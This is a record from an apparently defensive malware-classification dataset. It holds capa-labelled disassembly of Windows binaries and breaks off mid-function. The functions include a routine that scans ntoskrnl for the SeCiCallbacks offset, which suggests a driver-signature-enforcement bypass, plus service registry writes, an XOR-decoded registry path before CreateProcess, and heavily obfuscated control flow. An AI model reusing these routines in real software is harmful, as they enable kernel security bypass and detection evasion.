joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140112560
Capabilities:
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov r14, rcx
lea rcx, str.____Searching_pattern..._n
call fcn.1401124f0
lea r9, [rsp + 0x60]
mov dword [rsp + 0x60], 0
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
xor edi, edi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1401125fb
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x60]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x60]
lea r9, [rsp + 0x60]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1401125b0
test eax, eax
js 0x140112649
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x140112649
lea rsi, [rdi + 0x2e]
nop dword [rax]
movzx ecx, word [rsi]
lea rdx, [0x1401217e8]
add rcx, 0x30
movsxd rax, ebx
imul rbp, rax, 0x128
add rcx, rbp
add rcx, rdi
call qword [sym.imp.ntdll.dll__stricmp]
test eax, eax
je 0x1401126ec
inc ebx
add rsi, 0x128
cmp ebx, dword [rdi]
jb 0x140112610
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
xor edx, edx
lea rcx, str.ntoskrnl.exe
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0x28]
mov rcx, rax
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov eax, dword [rsp + 0x30]
xor edi, edi
mov dword [rsp + 0x20], 0xd38b48ff
mov word [rsp + 0x24], 0x8d4c
mov byte [rsp + 0x26], 5
test eax, eax
je 0x140112729
lea r9, [rbp + 4]
mov r10d, eax
nop word [rax + rax]
xor eax, eax
lea rcx, [rsp + 0x24]
mov r8, r9
lea rdx, [rsp + 0x20]
sub r8, rcx
movzx ecx, byte [r8 + rdx]
cmp byte [rdx], cl
jne 0x14011270a
cmp eax, 6
je 0x140112707
inc eax
inc rdx
cmp eax, 7
jb 0x1401126d2
jmp 0x14011270a
mov rsi, qword [rdi + rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14011265c
mov rdi, r9
inc r9
sub r10, 1
jne 0x1401126c0
test rdi, rdi
je 0x140112729
mov rdx, rdi
lea rcx, str.___Instr_:__p_n
call fcn.1401124f0
jmp 0x140112735
lea rcx, str.____Couldnt_find_lea_r8___nt_SeCiCallbacks_
call fcn.1401124f0
mov ebx, dword [rdi + 3]
lea rcx, str.___usermode_CiCallbacks_:__p_n
add ebx, 7
movabs rax, 0xffffffff00000000
add ebx, edi
and rdi, rax
add rbx, rdi
mov rdx, rbx
call fcn.1401124f0
sub rbx, rbp
lea rcx, str.___Offset__:__p_n
mov rdx, rbx
call fcn.1401124f0
lea rdx, str.ZwFlushInstructionCache
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
sub rcx, rbp
mov rbp, qword [rsp + 0x70]
add rax, rcx
lea rcx, [rbx + 0x20]
mov rbx, qword [rsp + 0x68]
add rcx, rsi
mov qword [r14 + 8], rax
mov rax, r14
mov qword [r14], rcx
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x140112860
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x240
mov rdi, rdx
mov rbx, rcx
call fcn.1401127b0
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x14011293a
lea r8, [0x140121918]
mov dword [rsp + 0x260], 1
mov edx, 5
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_wcscpy_s]
mov r8, rdi
lea rcx, [rsp + 0x30]
mov edx, 0x87
call qword [sym.imp.ntdll.dll_wcscat_s]
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1401128d0
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x30]
mov rdx, rbx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x14011293a
lea rax, [rsp + 0x260]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rbx, qword [rsp + 0x250]
add rsp, 0x240
pop rdi
ret
Function at 0x140112dd4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140112e0e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140112e13
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140112e5c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140118940]
cmp byte [rcx + rax], 0
je 0x140112e5c
dec r8
sub rdx, 1
jne 0x140112e42
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1401141a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401141f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401141f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401141f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401141f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1401141f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401141f4
xor al, al
add rsp, 0x28
ret
Function at 0x140001b00
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x28
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
test eax, eax
je 0x140001b18
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x140001b30
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x28
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
test eax, eax
je 0x140001b48
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x140003668
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400036b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400036b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400036b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400036b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400036b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400036b4
xor al, al
add rsp, 0x28
ret
Function at 0x1400011c0
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x98
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
lea rcx, str.Kainite_Temporary__Poor_Edition
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
jmp fcn.1403bad2e

Function at 0x1400023b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400023fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400023fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400023fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400023fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400023fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400023fc
xor al, al
add rsp, 0x28
ret
Function at 0x1400014e8
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rbp + 0x20], rax
movdqa xmm0, xmmword [0x140015720]
lea rax, [rbp - 8]
movdqa xmm1, xmmword [0x140015730]
mov dl, 0xaa
movdqu xmmword [rbp - 8], xmm0
xor edi, edi
mov byte [rbp + 0x18], dl
movdqa xmm0, xmmword [0x140015710]
mov r8b, 0xbc
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xbcd1d3df
mov ecx, edi
movdqu xmmword [rbp + 8], xmm1
xor byte [rax], dl
inc ecx
inc rax
cmp ecx, 0x21
jae 0x140001557
mov dl, byte [rbp + 0x18]
jmp 0x140001546
mov ecx, edi
lea rax, [rbp - 0x20]
xor byte [rax], r8b
inc ecx
inc rax
cmp ecx, 0x14
jae 0x140001570
mov r8b, byte [rbp - 0xd]
jmp 0x14000155d
lea rax, [rsp + 0x50]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rsp + 0x50]
call fcn.14000116c
test eax, eax
je 0x14000163a
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.1400029f0
xor eax, eax
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x68], rax
lea rdx, [rbp - 0x20]
lea rax, [rsp + 0x58]
mov dword [rbp - 0x54], 1
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x70]
mov word [rbp - 0x50], di
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400017d0
mov rdi, qword [rsp + 0x140]
add rsp, 0x130
pop rbp
ret
Function at 0x140022d87
Capabilities:
Set thread local storage value

Disassembly:
push rax
pushf
mov eax, 0xecbd6850
pushf
not eax
add eax, 0x996bc200
xor eax, 0x96c69352
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xf88682a8
xor eax, 0xd569a07c
rol eax, 0x56
popf
pushf
not eax
add eax, 0x98675b02
xor eax, 0xacc4f4d2
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xceb7cfed
xor eax, 0x8607943e
rol eax, 0xcf
popf
cmp eax, 2
jne 0x140022dea
popf
pop rax
jmp 0x140022f80
cmp eax, 0
jne 0x140022df9
popf
pop rax
jmp 0x140022e17
cmp eax, 3
jne 0x140022e08
popf
pop rax
jmp 0x140022fcc
cmp eax, 1
jne 0x140022e17
popf
pop rax
jmp 0x140022f77
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x1982c3d9f]
pushf
sub r9, 0x582b4aef
popf
mov edi, ecx
lea rdx, [0x1bd45bab6]
pushf
sub rdx, 0x7d44c806
popf
mov ecx, 0xf2e83a92
pushf
not ecx
add ecx, 0xdf774f51
xor ecx, 0xef6bf131
rol ecx, 0xf1
popf
pushf
not ecx
add ecx, 0xd451e1cb
xor ecx, 0xd4991263
rol ecx, 0xe6
popf
pushf
not ecx
add ecx, 0xeba9745c
xor ecx, 0x93130fb1
rol ecx, 0x87
popf
pushf
not ecx
add ecx, 0x83ab0a2f
xor ecx, 0x9180ffc5
rol ecx, 0x3b
popf
lea r8, [0x1995e2a15]
pushf
sub r8, 0x595d376d
popf
call fcn.140002dd8
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x140022f1d
push rax
pushf
mov eax, 0x65dfdbff
pushf
not eax
add eax, 0x8b7c218d
xor eax, 0x9e6b1ff1
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x8f9802c7
xor eax, 0xf072e958
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xda1c478f
xor eax, 0xc715fcfc
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xfa5dcba0
xor eax, 0xb65a6738
rol eax, 0x8b
popf
jmp 0x140022ddb
push rax
pushf
mov eax, 0x516be1
pushf
not eax
add eax, 0xce818e74
xor eax, 0xcbd33391
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x83766515
xor eax, 0xb595515c
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xb670e364
xor eax, 0xc48f88bf
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x8420826f
xor eax, 0x8ec821ad
rol eax, 0x6b
popf
jmp 0x140022ddb
call qword [0x14000e270]
jmp 0x140022fcc
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
push rax
pushf
mov eax, 0xe5e41b3f
pushf
not eax
add eax, 0xb8b7a9c5
xor eax, 0x915fb8f6
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xb8bcfcb9
xor eax, 0x9e16349e
rol eax, 0x84
popf
pushf
not eax
add eax, 0x94cd3037
xor eax, 0xae9918ea
rol eax, 0x4b
popf
jmp 0x140022ddb
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140023299
Capabilities:
Get thread local storage value

Disassembly:
push rax
pushf
mov eax, 0x5f6a41cd
pushf
not eax
add eax, 0xf11ab277
xor eax, 0x8e158497
rol eax, 0x49
popf
pushf
not eax
add eax, 0x935092aa
xor eax, 0x9d5d3cb1
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xba799308
xor eax, 0xdba7e9b1
rol eax, 0xad
popf
cmp eax, 2
jne 0x1400232e9
popf
pop rax
jmp 0x14002342b
cmp eax, 0
jne 0x1400232f8
popf
pop rax
jmp 0x140023307
cmp eax, 1
jne 0x140023307
popf
pop rax
jmp 0x14002341f
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x1a5967c7e]
pushf
sub r9, 0x659573de
popf
mov ecx, 0x20f33cad
pushf
not ecx
add ecx, 0xaa841ee6
xor ecx, 0x8f34b435
rol ecx, 0x31
popf
pushf
not ecx
add ecx, 0x8c87d8ed
xor ecx, 0xc86dcba4
rol ecx, 0x45
popf
lea r8, [0x1985ebd80]
pushf
sub r8, 0x585db4e8
popf
lea rdx, [0x1bffd04fb]
pushf
sub rdx, 0x7ffc1263
popf
call fcn.140008c34
mov ecx, ebx
test rax, rax
je 0x1400233d9
push rax
pushf
mov eax, 0x31a49a7a
pushf
not eax
add eax, 0xf45e8138
xor eax, 0xaaca59fc
rol eax, 0x96
popf
pushf
not eax
add eax, 0xc99fdeaa
xor eax, 0xa3943090
rol eax, 0x49
popf
pushf
not eax
add eax, 0xfc8a826f
xor eax, 0x829386d5
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x9ce8cfb4
xor eax, 0xc7326096
rol eax, 0x97
popf
jmp 0x1400232da
push rax
pushf
mov eax, 0xbce8760
pushf
not eax
add eax, 0xd00ded59
xor eax, 0xaf83eb9b
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x89bfb92c
xor eax, 0x803b4941
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xd9888129
xor eax, 0xa4f17370
rol eax, 0xfb
popf
jmp 0x1400232da
add rsp, 0x20
pop rbx
jmp qword [0x14000e270]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x140026b34
Capabilities:
Get number of processors

Disassembly:
push rax
pushf
mov eax, 0xa85bae58
pushf
not eax
add eax, 0xbba9d498
xor eax, 0x96ab8403
rol eax, 0xec
popf
pushf
not eax
add eax, 0xeea4d72f
xor eax, 0x94810ed0
rol eax, 0xdd
popf
cmp eax, 2
jne 0x140026b71
popf
pop rax
jmp 0x140026c83
cmp eax, 0
jne 0x140026b80
popf
pop rax
jmp 0x140026b9e
cmp eax, 3
jne 0x140026b8f
popf
pop rax
jmp 0x140026d0d
cmp eax, 1
jne 0x140026b9e
popf
pop rax
jmp 0x140026c6e
push rbx
sub rsp, 0x20
xor ebx, ebx
mov dword [rsp + 0x30], ebx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x20]
cmp dword [rcx + 8], ebx
jl 0x140026c15
push rax
pushf
mov eax, 0xd3a734d7
pushf
not eax
add eax, 0x9460d219
xor eax, 0xe216b494
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xf599aec6
xor eax, 0xe8bc8ef2
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xf8705211
xor eax, 0xe093a7b9
rol eax, 0xab
popf
pushf
not eax
add eax, 0x9e7718c6
xor eax, 0x800257b0
rol eax, 0x1d
popf
jmp 0x140026b62
push rax
pushf
mov eax, 0xdfcfae41
pushf
not eax
add eax, 0xfab9acaf
xor eax, 0xb1f22e43
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x9256445c
xor eax, 0xf0542566
rol eax, 3
popf
pushf
not eax
add eax, 0x90cd8552
xor eax, 0xf84e1d51
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xd479763d
xor eax, 0xedd7358c
rol eax, 0x9b
popf
jmp 0x140026b62
lea rcx, [rsp + 0x30]
call fcn.14005a42d
cmp dword [rsp + 0x30], 1
je 0x140026d0d
mov ebx, 0x7809b0fb
pushf
not ebx
add ebx, 0xe0c1b378
xor ebx, 0xcf532cbf
rol ebx, 0x4b
popf
pushf
not ebx
add ebx, 0xe7f54be6
xor ebx, 0xdf188e65
rol ebx, 0x69
popf
pushf
not ebx
add ebx, 0xa47cad2c
xor ebx, 0xdd3b2689
rol ebx, 0x85
popf
push rax
pushf
mov eax, 0x55cd15ee
pushf
not eax
add eax, 0xe957e94e
xor eax, 0x86f2bbd7
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x8c66f498
xor eax, 0xc5ee6542
rol eax, 0x8c
popf
pushf
not eax
add eax, 0x8f0d51d6
xor eax, 0x9d7676ba
rol eax, 0xb8
popf
jmp 0x140026b62
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x14002afa4
Capabilities:
Allocate thread local storage

Disassembly:
push rax
pushf
mov eax, 0x54cfaaa2
pushf
not eax
add eax, 0xdc10125b
xor eax, 0xbf975096
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xd5cf229a
xor eax, 0xf241af27
rol eax, 0x36
popf
cmp eax, 2
jne 0x14002afe1
popf
pop rax
jmp 0x14002b14f
cmp eax, 0
jne 0x14002aff0
popf
pop rax
jmp 0x14002afff
cmp eax, 1
jne 0x14002afff
popf
pop rax
jmp 0x14002b140
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x1ae9d1e85]
pushf
sub r9, 0x6e9c15f5
popf
mov ecx, 0x3b8b703b
pushf
not ecx
add ecx, 0xbd5a951c
xor ecx, 0xdb0ef5a8
rol ecx, 0xd3
popf
pushf
not ecx
add ecx, 0x9baf31a1
xor ecx, 0xf3579f5c
rol ecx, 0xe6
popf
pushf
not ecx
add ecx, 0x90d8895f
xor ecx, 0xa256518e
rol ecx, 0x1b
popf
pushf
not ecx
add ecx, 0xc56ceeaf
xor ecx, 0x804f670d
rol ecx, 0x39
popf
lea r8, [0x1921af06c]
pushf
sub r8, 0x5219e7e4
popf
lea rdx, [0x1a9a97bfc]
pushf
sub rdx, 0x69a8898c
popf
call fcn.140008c34
test rax, rax
je 0x14002b0fa
push rax
pushf
mov eax, 0x59be00b3
pushf
not eax
add eax, 0xfa02a579
xor eax, 0xdc682872
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x81c1bde9
xor eax, 0xd21c34cc
rol eax, 0xba
popf
pushf
not eax
add eax, 0xee541ab5
xor eax, 0xb4b365ed
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xff0f1ca8
xor eax, 0xbddc44e2
rol eax, 0x9f
popf
jmp 0x14002afd2
push rax
pushf
mov eax, 0x78d3faf3
pushf
not eax
add eax, 0xff562114
xor eax, 0xd881964d
rol eax, 0x99
popf
pushf
not eax
add eax, 0xcae1f93f
xor eax, 0xef014701
rol eax, 8
popf
pushf
not eax
add eax, 0xe84b4c2b
xor eax, 0xc3946d0f
rol eax, 0x7f
popf
jmp 0x14002afd2
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x14000e270]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]
Function at 0x14002d7eb
Capabilities:
Get thread local storage value

Disassembly:
push rax
pushf
mov eax, 0x576931a6
pushf
not eax
add eax, 0x903a13d5
xor eax, 0xce2fc436
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xf73574c2
xor eax, 0xd8558ffe
rol eax, 0xc3
popf
cmp eax, 2
jne 0x14002d828
popf
pop rax
jmp 0x14002d957
cmp eax, 0
jne 0x14002d837
popf
pop rax
jmp 0x14002d846
cmp eax, 1
jne 0x14002d846
popf
pop rax
jmp 0x14002d94b
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x1abb77c9a]
pushf
sub r9, 0x6bb68a02
popf
mov ecx, 0xdd92b69d
pushf
not ecx
add ecx, 0xe463df68
xor ecx, 0xb9b12846
rol ecx, 0xbe
popf
pushf
not ecx
add ecx, 0xe7078aae
xor ecx, 0xb76f8a8a
rol ecx, 0xb
popf
lea r8, [0x19d1736a7]
pushf
sub r8, 0x5d164417
popf
lea rdx, [0x19ad5960c]
pushf
sub rdx, 0x5ad4a374
popf
call fcn.140002dd8
mov ecx, ebx
test rax, rax
je 0x14002d8f2
push rax
pushf
mov eax, 0xb87ff33e
pushf
not eax
add eax, 0xb5f13e94
xor eax, 0xd95bac2d
rol eax, 0x61
popf
pushf
not eax
add eax, 0xa6adcd22
xor eax, 0xde57fe31
rol eax, 0x61
popf
jmp 0x14002d819
push rax
pushf
mov eax, 0xa3bc84f9
pushf
not eax
add eax, 0xa1ba1791
xor eax, 0x8075daaf
rol eax, 0x44
popf
pushf
not eax
add eax, 0x8062dc39
xor eax, 0xae6f88b6
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xb4241def
xor eax, 0xc16676ae
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xe221b460
xor eax, 0x8c091bc4
rol eax, 0x32
popf
jmp 0x14002d819
add rsp, 0x20
pop rbx
jmp qword [0x14000e270]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x14002e18f
Capabilities:
Set thread local storage value

Disassembly:
push rax
pushf
mov eax, 0xe35d89b3
pushf
not eax
add eax, 0x8fcd17a4
xor eax, 0x889cda39
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x87701242
xor eax, 0xd24a51b2
rol eax, 0x91
popf
pushf
not eax
add eax, 0xead841b7
xor eax, 0xc55a9087
rol eax, 0x43
popf
cmp eax, 2
jne 0x14002e1df
popf
pop rax
jmp 0x14002e325
cmp eax, 0
jne 0x14002e1ee
popf
pop rax
jmp 0x14002e20c
cmp eax, 3
jne 0x14002e1fd
popf
pop rax
jmp 0x14002e384
cmp eax, 1
jne 0x14002e20c
popf
pop rax
jmp 0x14002e31c
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x1a4e2351f]
pushf
sub r9, 0x64e12c77
popf
mov edi, ecx
lea rdx, [0x1b990486d]
pushf
sub rdx, 0x798f55bd
popf
mov ecx, 0x603c6be
pushf
not ecx
add ecx, 0xab5ef5cf
xor ecx, 0xcce04374
rol ecx, 0x9b
popf
pushf
not ecx
add ecx, 0xa913b846
xor ecx, 0x85c3dce2
rol ecx, 0xb0
popf
lea r8, [0x1940f71d5]
pushf
sub r8, 0x540e6935
popf
call fcn.140008c34
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x14002e2c2
push rax
pushf
mov eax, 0x26509e2f
pushf
not eax
add eax, 0xcc4a7215
xor eax, 0xc0aa0a45
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xe5ff2fb5
xor eax, 0xffa9f21a
rol eax, 0x83
popf
jmp 0x14002e1d0
push rax
pushf
mov eax, 0x60bd4e6c
pushf
not eax
add eax, 0xfffae683
xor eax, 0xa2cb7895
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x899e3f29
xor eax, 0xad682b78
rol eax, 0x95
popf
pushf
not eax
add eax, 0xb59826bd
xor eax, 0xd1ddab0c
rol eax, 0xc9
popf
pushf
not eax
add eax, 0x99a62c98
xor eax, 0xb9b96157
rol eax, 0x36
popf
jmp 0x14002e1d0
call qword [0x14000e270]
jmp 0x14002e384
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
push rax
pushf
mov eax, 0x883756f1
pushf
not eax
add eax, 0xdb5f4780
xor eax, 0xdf86eaf8
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xabf96bd2
xor eax, 0x92830271
rol eax, 0xff
popf
pushf
not eax
add eax, 0xbd12ea99
xor eax, 0x9aefc6ef
rol eax, 4
popf
pushf
not eax
add eax, 0xb648358b
xor eax, 0x9e44475e
rol eax, 0xde
popf
jmp 0x14002e1d0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140030db8
Capabilities:
Allocate thread local storage

Disassembly:
push rax
pushf
mov eax, 0x2fbf05ab
pushf
not eax
add eax, 0x9e543c6f
xor eax, 0xca2d6412
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xcb1b13f6
xor eax, 0xb666aac7
rol eax, 0x17
popf
cmp eax, 2
jne 0x140030df5
popf
pop rax
jmp 0x140030f0c
cmp eax, 0
jne 0x140030e04
popf
pop rax
jmp 0x140030e13
cmp eax, 1
jne 0x140030e13
popf
pop rax
jmp 0x140030efd
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x1a3c09c87]
pushf
sub r9, 0x63bfaa17
popf
xor ecx, ecx
lea r8, [0x1a933f8f0]
pushf
sub r8, 0x69330688
popf
lea rdx, [0x19cefe860]
pushf
sub rdx, 0x5ceef5f0
popf
call fcn.140002dd8
test rax, rax
je 0x140030ea4
push rax
pushf
mov eax, 0xa7080662
pushf
not eax
add eax, 0xd23ca308
xor eax, 0xe5323186
rol eax, 0x82
popf
pushf
not eax
add eax, 0xd00fd16e
xor eax, 0xc30baebd
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xa0e56cdb
xor eax, 0xf6e80854
rol eax, 0xba
popf
jmp 0x140030de6
push rax
pushf
mov eax, 0xaa85dd35
pushf
not eax
add eax, 0xa2508b80
xor eax, 0xa57b3f98
rol eax, 0x28
popf
pushf
not eax
add eax, 0xafb9d6d2
xor eax, 0xeef064b6
rol eax, 0x54
popf
pushf
not eax
add eax, 0xe57f0440
xor eax, 0xbbeb6cc9
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x93b80cc5
xor eax, 0x97573976
rol eax, 0xc5
popf
jmp 0x140030de6
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x14000e270]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]
Function at 0x14003b3f5
Capabilities:
Terminate process

Disassembly:
push rax
pushf
mov eax, 0x7b991e2b
pushf
not eax
add eax, 0x9c819f7c
xor eax, 0xc021def6
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x941c2f81
xor eax, 0xb16d381b
rol eax, 0x43
popf
pushf
not eax
add eax, 0xbc404537
xor eax, 0xaa40872e
rol eax, 0x8d
popf
cmp eax, 2
jne 0x14003b445
popf
pop rax
jmp 0x14003b54e
cmp eax, 0
jne 0x14003b454
popf
pop rax
jmp 0x14003b472
cmp eax, 3
jne 0x14003b463
popf
pop rax
jmp 0x14003b593
cmp eax, 1
jne 0x14003b472
popf
pop rax
jmp 0x14003b536
push rbx
sub rsp, 0x20
mov ebx, ecx
call fcn.140026b34
cmp eax, 1
je 0x14003b4dd
push rax
pushf
mov eax, 0x36c15d17
pushf
not eax
add eax, 0xed55bc97
